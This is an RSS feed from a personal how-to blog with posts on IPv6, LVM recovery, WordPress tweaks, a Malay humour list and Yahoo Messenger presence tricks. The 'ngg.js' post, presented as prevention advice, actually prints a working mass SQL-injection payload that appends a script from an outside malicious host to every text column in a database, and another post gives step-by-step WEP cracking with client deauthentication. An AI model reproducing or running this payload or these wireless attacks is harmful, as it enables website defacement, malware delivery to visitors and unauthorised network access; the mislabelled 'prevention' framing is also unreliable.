<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hariadi.Org &#187; How-To</title>
	<atom:link href="http://www.hariadi.org/topics/how-to/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hariadi.org</link>
	<description>Something has to be done</description>
	<lastBuildDate>Tue, 07 Sep 2010 13:03:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Enable IPv6</title>
		<link>http://www.hariadi.org/how-to/enable-ipv6/</link>
		<comments>http://www.hariadi.org/how-to/enable-ipv6/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 06:38:32 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[IPv6]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=407</guid>
		<description><![CDATA[Install Open the Terminal with Start -&#62; Run -&#62; cmd netsh interface ipv6 install netsh interface ipv6 set teredo client Wait for few moments. Uninstall netsh interface ipv6 uninstall Thanks to Bustamin]]></description>
			<content:encoded><![CDATA[<p><strong>Install</strong><br />
Open the Terminal with <code>Start -&gt; Run -&gt; cmd</code></p>
<pre class="brush: plain;">
netsh interface ipv6 install
netsh interface ipv6 set teredo client</pre>
<p>Wait for few moments.</p>
<p><strong>Uninstall</strong></p>
<pre class="brush: plain;">netsh interface ipv6 uninstall</pre>
<p>Thanks to <a href="http://kedaitok.blogspot.com/">Bustamin</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/enable-ipv6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recovery Linux: How to mount LVM Partition</title>
		<link>http://www.hariadi.org/how-to/recovery-linux-how-to-mount-lvm-partition/</link>
		<comments>http://www.hariadi.org/how-to/recovery-linux-how-to-mount-lvm-partition/#comments</comments>
		<pubDate>Mon, 10 May 2010 03:12:35 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mount]]></category>
		<category><![CDATA[Recovery]]></category>
		<category><![CDATA[SuSe]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=371</guid>
		<description><![CDATA[After boot from recovery live CD, you went to mount the disk into /mnt and you get this error: mount: unknown filesystem type 'LVM2_member' Solution: type lvscan to see what the status of the lv drive is: adi:~ # lvscan ACTIVE '/dev/system_21747/LogVol0' [2.00 GB] inherit ACTIVE '/dev/system_21747/LogVol1' [24.50 GB] inherit ACTIVE '/dev/system_21747/LogVol2' [512.00 MB] inherit [...]]]></description>
			<content:encoded><![CDATA[<p>After boot from recovery live CD, you went to mount the disk into /mnt and you get this error:</p>
<p><code>mount: unknown filesystem type 'LVM2_member'</code></p>
<p>Solution:<br />
type <code>lvscan</code> to see what the status of the lv drive is:</p>
<p><code>adi:~ # lvscan<br />
ACTIVE            '/dev/system_21747/LogVol0' [2.00 GB] inherit<br />
ACTIVE            '/dev/system_21747/LogVol1' [24.50 GB] inherit<br />
ACTIVE            '/dev/system_21747/LogVol2' [512.00 MB] inherit<br />
ACTIVE            '/dev/system_21747/LogVol4' [30.81 GB] inherit<br />
ACTIVE            '/dev/system_21747/LogVol5' [136.75 GB] inherit<br />
ACTIVE            '/dev/system_21747/LogVolHome' [70.09 GB] inherit<br />
</code></p>
<p>If your status = ACTIVE, you can mount at this point BUT if status = INACTIVE you must activate first!<br />
Type <code>vgchange -ay</code> and check again: <code>lvscan</code>. If status = ACTIVE, mount that drive you want to recover.</p>
<p><code>mount /dev/system_21747/LogVol1 <em>/mnt</em></code></p>
<p><code>/dev/system_21747/LogVol1</code> is where my web file stored like /srv/www/htdocs</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/recovery-linux-how-to-mount-lvm-partition/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ayat tersirat perempuan</title>
		<link>http://www.hariadi.org/how-to/ayat-tersirat-perempuan/</link>
		<comments>http://www.hariadi.org/how-to/ayat-tersirat-perempuan/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 15:01:25 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[perempuan]]></category>
		<category><![CDATA[tersirat]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=265</guid>
		<description><![CDATA[Kepada yang teman-temanku, kalau perempuan cakap macam ni, anda semua kena paham-paham la apa yang derang maksudkan. Perempuan ni penuh dengan ayat yang tersurat dan tersirat. So, bila dah paham senang sket nk jawab. &#8220;Perempuan&#8221; kan… (devil*face) Kalau perempuan tanya: Lawa ke budak pompuan tu? Makna tersembunyi: Siapa yang paling lawa? I ke, budak pompuan [...]]]></description>
			<content:encoded><![CDATA[<p>Kepada yang teman-temanku, kalau perempuan cakap macam ni, anda semua kena paham-paham la apa yang derang maksudkan. Perempuan ni penuh dengan ayat yang tersurat dan tersirat. So, bila dah paham senang sket nk jawab. &#8220;Perempuan&#8221; kan… (devil*face)<span id="more-265"></span></p>
<p><strong>Kalau perempuan tanya</strong>: Lawa ke budak pompuan tu?<br />
<em>Makna tersembunyi</em>: Siapa yang paling lawa? I ke, budak pompuan tu?</p>
<p><strong>Kalau perempuan tanya</strong>: You dah makan ke belum?<br />
<em>Makna tersembunyi</em>: Jom pi makan. Lapar ni!</p>
<p><strong>Kalau perempuan kata</strong>: Lawa-lawa la baju kat sini, yek.<br />
<em>Makna tersembunyi</em>: Belikanlah untuk I.</p>
<p><strong>Kalau perempuan kata</strong>: Rasa macam nak pening la.<br />
<em>Makna tersembunyi</em>: Tolong picit kepala.</p>
<p><strong>Kalau perempuan kata</strong>: Letihnya hari ni. Mana nakmasak, basuh kain-baju lagi…<br />
<em>Makna tersembunyi</em>: Kita makan kat luar jelah. Lepas tu, tolong basuh kain-baju sekali, yek.</p>
<p><strong>Kalau perempuan kata</strong>: Kita lebih sesuai berkawan saja.<br />
<em>Makna tersembunyi</em>: I tak nak kat you. Tak paham-paham ke?</p>
<p><strong>Kalau perempuan kata</strong>: I suka berkawan dengan you. You baik, memahami bla bla bla…<br />
<em>Makna tersembunyi</em>: Hish… I rasa macam minat sesangat kat you la… Rasa macam nak jadi awek you je.</p>
<p><strong>Kalau perempuan tanya</strong>: You pernah tak teringatkan awek you yang dulu?<br />
<em>Makna tersembunyi</em>: Kalau nak gaduh, kalau berani sangat, sebut la nama dia depan aku.</p>
<p><strong>Kalau perempuan kata</strong>: I sanggup berkorban demi kebahagiaan you.<br />
<em>Makna tersembunyi</em>: Amboi! Aku kena berkorban.Habih, hangpa dua ekoq gak yang seronok.</p>
<p><strong>Kalau perempuan kata</strong>: I tak kisah kalau memang betul you nak kahwin lagi satu. Asalkan you berterus-terang dengan I, bersikap jujur dan berlaku adil.<br />
<em>Makna tersembunyi</em>: Sapa kata aku tak kisah? Adil ke tak adil, aku tak kira! Langkah mayat aku dulu sebelum nak menikah lagi satu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/ayat-tersirat-perempuan/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>5 Simple Steps Implement Replication in MySQL</title>
		<link>http://www.hariadi.org/how-to/5-simple-steps-implement-replication-in-mysql/</link>
		<comments>http://www.hariadi.org/how-to/5-simple-steps-implement-replication-in-mysql/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 08:40:07 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Replication]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=186</guid>
		<description><![CDATA[No.. it&#8217;s just 2 simple step! hehe.. Go to Kedai Tok and see how to configure replication in MySQL Terima kasih: Kedai Tok]]></description>
			<content:encoded><![CDATA[<p>No.. it&#8217;s just 2 simple step! hehe..</p>
<p>Go to <a href="http://kedaitok.blogspot.com/2009/04/5-simple-steps-implement-replication-in.html">Kedai Tok</a> and see how to configure replication in MySQL</p>
<p>Terima kasih: <a href="http://kedaitok.blogspot.com/">Kedai Tok</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/5-simple-steps-implement-replication-in-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trick guna YM</title>
		<link>http://www.hariadi.org/how-to/trick-guna-ym/</link>
		<comments>http://www.hariadi.org/how-to/trick-guna-ym/#comments</comments>
		<pubDate>Wed, 04 Feb 2009 03:21:03 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[YM]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=101</guid>
		<description><![CDATA[Nak tau member tu online ke tak online? (walaupun dia set offline). Salin kod, tukar [username] tu ke nick member dan paste kat URL: http://mail.opi.yahoo.com/online?u=[username]&#38;m=g&#38;t=0 Kalau online, icon warna kuning.. kalau offline, icon warna kelabu http://mail.opi.yahoo.com/online?u=[username]&#38;m=g&#38;t=1 Button bergambar yang menunjukkan &#8220;Online Now&#8221; atau &#8220;Not Online&#8221;. http://mail.opi.yahoo.com/online?u=[username]&#38;m=g&#38;t=2 Button bergambar (125 x 125) dengan teks &#8220;I am [...]]]></description>
			<content:encoded><![CDATA[<p>Nak tau member tu online ke tak online? (walaupun dia set offline). Salin kod, tukar [username] tu ke nick member dan paste kat URL:</p>
<p><code>http://mail.opi.yahoo.com/online?u=[username]&amp;m=g&amp;t=0</code><br />
Kalau online, icon warna kuning.. kalau offline, icon warna kelabu <img class="alignnone" title="YM" src="http://mail.opi.yahoo.com/online?u=diperakui&amp;m=g&amp;t=0" alt="" /></p>
<p><code>http://mail.opi.yahoo.com/online?u=[username]&amp;m=g&amp;t=1</code><br />
Button bergambar yang menunjukkan &#8220;Online Now&#8221; atau &#8220;Not Online&#8221;. <img class="alignnone" title="YM" src="http://mail.opi.yahoo.com/online?u=diperakui&amp;m=g&amp;t=1" alt="" /></p>
<p><code>http://mail.opi.yahoo.com/online?u=[username]&amp;m=g&amp;t=2</code><br />
Button bergambar (125 x 125) dengan teks &#8220;I am Online send me a message&#8221; atau &#8220;Not Online right now&#8221;. <img class="alignnone" title="YM" src="http://mail.opi.yahoo.com/online?u=diperakui&amp;m=g&amp;t=2" alt="" /></p>
<p><code>http://mail.opi.yahoo.com/online?u=[username]&amp;m=a&amp;t=0</code><br />
Teks dengan ayat &#8220;[username] is ONLINE&#8221; atau &#8220;[username] is NOT ONLINE&#8221;.</p>
<p><code>http://mail.opi.yahoo.com/online?u=[username]&amp;m=a&amp;t=1</code><br />
Tunjukkan nombor &#8220;00&#8243; jika online dan &#8220;01&#8243; jika member tu online.</p>
<p>Update:<br />
Letak image bagitau kat user korang online<br />
<code>http://presence.msg.yahoo.com/online?u=diperakui&amp;m=g&amp;t=16&amp;l=us</code><br />
<a href="http://messenger.yahoo.com/edit/send/?.target=diperakui" target="_blank"><img class="alignnone" title="YM" src="http://presence.msg.yahoo.com/online?u=diperakui&amp;m=g&amp;t=16&amp;l=us" alt="" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/trick-guna-ym/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ngg.js</title>
		<link>http://www.hariadi.org/how-to/nggjs/</link>
		<comments>http://www.hariadi.org/how-to/nggjs/#comments</comments>
		<pubDate>Tue, 22 Jul 2008 03:18:09 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=16</guid>
		<description><![CDATA[What is */ngg.js? There seems to be a new wave of sql injections ending with ngg.js. Familiar iframe attack from before but this time selectively ignores browsers from Russia, Ukraine, China, Korea, Vietnam and India How to prevent? Open your SQL Tool Analyzer and type this: DECLARE @T VARCHAR(255) DECLARE @C VARCHAR(255) DECLARE Table_Cursor CURSOR [...]]]></description>
			<content:encoded><![CDATA[<h3>What is */ngg.js?</h3>
<p>There seems to be a new wave of sql injections ending with ngg.js. Familiar iframe attack from before but this time selectively ignores browsers from Russia, Ukraine, China, Korea, Vietnam and India<span id="more-16"></span></p>
<h3>How to prevent?</h3>
<p>Open your SQL Tool Analyzer and type this:</p>
<pre><code>
DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = &#39;U&#39; /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC(&#39;UPDATE [&#39; + @T + &#39;] SET [&#39; + @C + &#39;] = RTRIM(CONVERT(VARCHAR, [&#39; + @C + &#39;])) + &#39;&#39;&lt;script src="http://winzipices.cn/2.js"&gt;&lt;/script&gt;&#39;&#39;&#39;)
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor </code></pre>
<h3>Check your coding?</h3>
<p>Download <a href="https://download.spidynamics.com/Products/scrawlr/">Scrawlr</a> to find code vulnerability.</p>
<h3>Related</h3>
<p><a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx">ASCII Encoded/Binary String Automated SQL Injection Attack</a><br />
<a href="http://www.wwwcoder.com/main/parentid/258/site/2966/68/default.aspx">Preventing SQL Injections</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/nggjs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Retrieve WEP Key using WiFiSlax and Intel Centrino Chipset</title>
		<link>http://www.hariadi.org/how-to/retrieve-wep-key-using-wifislax-and-intel-centrino-chipset/</link>
		<comments>http://www.hariadi.org/how-to/retrieve-wep-key-using-wifislax-and-intel-centrino-chipset/#comments</comments>
		<pubDate>Sat, 17 May 2008 09:14:50 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Intel Centrino Chipset]]></category>
		<category><![CDATA[WEP]]></category>
		<category><![CDATA[WiFiSlax]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=10</guid>
		<description><![CDATA[This tutorial show your how to retrieve WEP Key using WiFiSlax and Intel Centrino Chipset]]></description>
			<content:encoded><![CDATA[<p>This tutorial show your how to retrieve <acronym title="Wired Equivalent Privacy">WEP</acronym> Key using <strong>WiFiSlax</strong> and <strong>Intel Centrino Chipset</strong>.<span id="more-10"></span></p>
<h2>Requirement</h2>
<ul>
<li>Notebook with Intel Centrino Chipset 2200 above</li>
<li>WiFiSlax 3.1 (<a href="http://www.wifislax.com/descargas.php">Download</a>)</li>
<li>Cup of coffee with two cigarettes ;p</li>
</ul>
<h2>Instruction</h2>
<ol>
<li>Download WiFISlax image and burn to CD</li>
<li>Boot the notebook using the CD</li>
<li>Login using &#8220;<strong>root</strong>&#8221; and password is &#8220;<strong>toor</strong>&#8220;</li>
<li>Once started, open the X:<br />
<code>startx</code><br />
Note: This CD contains Spanish language, use <a href="http://www.google.com/translate_t?sl=es&amp;tl=en">Google Translate</a> if needed</li>
</ol>
<h3>Step 1: Load Driver</h3>
<ol>
<li>To load Intel driver, click <strong>K Menu &gt; Asistencia Chipset &gt; Asistencia Intel pro wireless &gt; Cargar ipw3945 injection</strong> (depend on your chipset)</li>
<li>To find target Channel, use <strong>Kismet</strong> to scan all network wireless (<strong>K Menu &gt; Wifislax &gt; Herramientas Wireless &gt; Kismet</strong>)</li>
</ol>
<h3>Step 2: Start Capturing</h3>
<ol>
<li>Set the channel of the Access Point in the <acronym title="Network Interface Card">NIC</acronym>
<pre><code>echo '<strong>Channel</strong>' &gt; /sys/class/net/wifi0/device/channel</code></pre>
</li>
<li>Scan all wireless network to get the BSSID and the ESSID type:
<pre><code>airodump-ng rtap0</code></pre>
<p>Finish the execution with CONTROL-C</li>
<li>Set the BSSID in the NIC
<pre><code>echo '<strong>BSSID</strong>' &gt; /sys/class/net/wifi0/device/bssid</code></pre>
</li>
<li>Start capturing using the command
<pre><code>airodump-ng -c CHANNEL -w /path/to/save/OUTPUT_FILE rtap0</code></pre>
</li>
</ol>
<h3>Step 3: Injection Traffic</h3>
<ol>
<li>Capturing take a while so open new terminal window and set speed 2Mbps:
<pre><code>echo '2' &gt; /sys/class/net/wifi0/device/rate</code></pre>
</li>
<li>Activate the NIC:
<pre><code>ifconfig wifi0 up</code></pre>
</li>
<li>Look at your MAC address</li>
<li>Initiate an association with the Access Point
<pre><code>aireplay-ng -1 0 AP_BSSID -h YOUR_MAC_ADDRESS_WIFI -e AP_ESSID wifi0</code></pre>
</li>
<li>Start the injection traffic:
<pre><code>aireplay-ng -3 -b AP_BSSID -e AP_ESSID -h YOUR_MAC_ADDRESS_WIFI wifi0</code></pre>
<p>This should increment the number of data in capture window.</li>
</ol>
<h3>Step 4: Deauthenticate clients if needed</h3>
<p>Deauthenticate Clients if needed to increase the ARP request capture, type:</p>
<pre><code>aireplay-ng -0 15 -a AP_BSSID -c CLIENT_MAC_ADDRESS_WIFI wifi0</code></pre>
<h3>Step 5: Apply Aircrack-PTW</h3>
<p>When the data packet between 40,000 and 85,000+ data, extract the key by executing:<br />
aircrack-ptw /path/to/save/OUTPUT_FILE.cap<br />
and voila..</p>
<pre><code>Found key with len 05: XX XX XX XX XX</code></pre>
<p>where <strong>XX XX XX XX</strong> is WEP Key</p>
<p>This is manual tip using WIfiSlax. I will give you easy way how to retrieve WEP key using the same tool..</p>
<p><span style="color: #ff0000;">DISCLAIMER: This is  for testing environment and educational purpose only. I cannot guarantee the accuracy or validity of the material submitted. You agree that your use of the tips and your reliance on any questions, answers, information or other materials received through this site is at your own risk.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/retrieve-wep-key-using-wifislax-and-intel-centrino-chipset/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Return most recent post by date range</title>
		<link>http://www.hariadi.org/wordpress/return-most-recent-post-by-date-range-2/</link>
		<comments>http://www.hariadi.org/wordpress/return-most-recent-post-by-date-range-2/#comments</comments>
		<pubDate>Thu, 08 May 2008 14:35:35 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[support]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=9</guid>
		<description><![CDATA[Return most recent post by date range. For example if you want display posts for 30 days..]]></description>
			<content:encoded><![CDATA[<p>Open <code>functions.php</code> from the template file and add this function:</p>
<pre><code>function show_month_posts($where) {
global $wpdb;

$how_long = 60; //60 days

//if( !is_single() &amp;&amp; !is_page() )
if( is_home() )

$where .= " AND $wpdb-&gt;posts.post_date &gt;= ADDDATE(CURRENT_DATE(), - </code><code>$how_long</code><code>)";

return $where;
}
if (is_home ) add_filter('posts_where', 'show_month_posts');</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/wordpress/return-most-recent-post-by-date-range-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Reset WP Password</title>
		<link>http://www.hariadi.org/wordpress/reset-wp-password/</link>
		<comments>http://www.hariadi.org/wordpress/reset-wp-password/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 01:51:36 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[reset]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=7</guid>
		<description><![CDATA[Simple way to reset your WordPress password through phpMyAdmin.]]></description>
			<content:encoded><![CDATA[<p>Simple way to reset your WordPress password through phpMyAdmin.</p>
<p><strong>Step 1:</strong><br />
Create PHP file on your WordPress root and rename to <code>password.php</code> and put this code:</p>
<pre><code>&lt;?php
require('./wp-blog-header.php');</code>
echo wp_hash_password('yourpasswordhere'); //
?&gt;</pre>
<p>Execute and copy the text appear.</p>
<p><strong>Step 2</strong>:<br />
Open IE or Firefox browser, go to your  phpMyAdmin <strong>(Note: use phpMyAdmin at your own risk.) </strong></p>
<ul>
<li>Click your WordPress database</li>
<li>All the tables in your database will appear. If not, click <strong>Structure</strong>.</li>
<li>Look for <strong>wp_users</strong>.</li>
<li>Click on the icon for <strong>browse</strong> or <strong>structure</strong>.</li>
<li>Choose user and click <strong>edit</strong></li>
<li>Find <strong>user_pass</strong> and paste the text from <code>password.php</code></li>
<li>Click <strong>Go</strong></li>
</ul>
<p>Go to your WordPress Login page (something like <a class="external text" title="http://codex.wordpress.org/Resetting_your_password" href="http://codex.wordpress.org/Resetting_your_password">http://yoursite.com/wordpress/wp-login.php</a>) and type <code>yourpasswordhere </code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/wordpress/reset-wp-password/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Return most recent post by date range</title>
		<link>http://www.hariadi.org/wordpress/return-most-recent-post-by-date-range/</link>
		<comments>http://www.hariadi.org/wordpress/return-most-recent-post-by-date-range/#comments</comments>
		<pubDate>Tue, 01 Apr 2008 02:06:00 +0000</pubDate>
		<dc:creator>Hariadi</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[support]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=3</guid>
		<description><![CDATA[UPDATED: This trick not work with paging. Go to another trick Want to limit the number of posts on your front page by a date range? For example, display most recent posts for the last 30 days? This works perfectly.. Open index.php template file. Changed this code from: &#60;?php while (have_posts()) : the_post(); ?&#62; to: [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;"><strong><a href="http://www.hariadi.org/2008/05/return-most-recent-post-by-date-range-2/">UPDATED: This trick not work with paging. Go to another trick</a></strong></span></p>
<p>Want to limit the number of posts on your front page by a date range? For example, display most recent posts for the last 30 days? This works perfectly..</p>
<p>Open <code>index.php</code> template file. Changed this code from:</p>
<pre><code>&lt;?php while (have_posts()) : the_post(); ?&gt;</code></pre>
<p>to:</p>
<pre><code>&lt;?php while (have_posts()) : the_post(); ?&gt;
&lt;?php
$mylimit=30*(60*60*24);
if ( (current_time(timestamp) - get_the_time('U') - (get_settings('gmt_offset') * 3600) ) &lt; $mylimit)
{
?&gt;</code></pre>
<p>and this code from:</p>
<pre><code> &lt;?php endwhile; ?&gt; </code></pre>
<p>to:</p>
<pre><code> &lt;?php } ?&gt;
&lt;?php endwhile; ?&gt;</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/wordpress/return-most-recent-post-by-date-range/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
